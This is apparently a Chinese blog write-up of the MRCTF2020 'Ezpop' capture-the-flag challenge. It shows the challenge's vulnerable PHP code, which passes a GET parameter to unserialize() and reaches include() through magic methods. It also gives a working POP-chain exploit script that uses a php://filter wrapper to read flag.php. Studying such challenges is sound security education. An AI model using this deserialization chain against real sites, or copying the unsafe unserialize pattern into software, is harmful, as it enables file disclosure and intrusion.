• [MRCTF2020]Ezpop


    2020.10.14

    最近开始努力提高代码能力

    题目代码

    Welcome to index.php
    <?php
    //flag is in flag.php
    //WTF IS THIS?
    //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
    //And Crack It!
    class Modifier {
        protected  $var;
        public function append($value){
            include($value);
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }
    
    class Show{
        public $source;
        public $str;
        public function __construct($file='index.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."<br>";
        }
        public function __toString(){
            return $this->str->source;
        }
    
        public function __wakeup(){
            if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
                echo "hacker";
                $this->source = "index.php";
            }
        }
    }
    
    class Test{
        public $p;
        public function __construct(){
            $this->p = array();
        }
    
        public function __get($key){
            $function = $this->p;
            return $function();
        }
    }
    
    if(isset($_GET['pop'])){
        @unserialize($_GET['pop']);
    }
    else{
        $a=new Show;
        highlight_file(__FILE__);
    } 
    

    分析pop链

    从目标逆向分析触发条件

    结论

    根据以上分析,可以得出我们要构造一个Show类,这个类中的属性source也是一个show类,source下的属性str是一个Test类,且Test类中的p是一个Modifier类

    exp

    <?php
    
    class Modifier {
    	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
    }
    
    class Show{
    	public $source;
        public $str;
    	public function __construct($file){
    		$this->source=$file;
    	}
    }
    
    class Test{
    	public $p;
    	public function __construct(){
    		$this->p=new Modifier();
    	}
    }
    
    $s=new Show("");
    $s->str=new Test();
    $a=new Show($s);
    echo urlencode(serialize($a));//为了便于在url中传输,我们将结果编码成url形式
    


    base64解码后

    依然存在的疑问

    exp中的类是对比好几个师傅的wp试出来的,但是为什么要把str=new Test()放在show类中source下,为什么source属性依然要是show类不是很清楚

  • 相关阅读:
    对软件测试的理解
    Android 经典欧美小游戏 guess who
    Shell脚本 | 安卓应用权限检查
    自动化测试 | UI Automator 进阶指南
    Shell脚本 | 截取包名
    自动化测试 | UI Automator 入门指南
    杂谈随感 | 与测试无关
    Shell脚本 | 性能测试之内存
    Shell脚本 | 健壮性测试之空指针检查
    "java.lang.IllegalStateException: No instrumentation registered! Must run under a registering instrumentation."问题解决
  • 原文地址:https://www.cnblogs.com/yunqian2017/p/13817032.html
Copyright © 2020-2023  润新知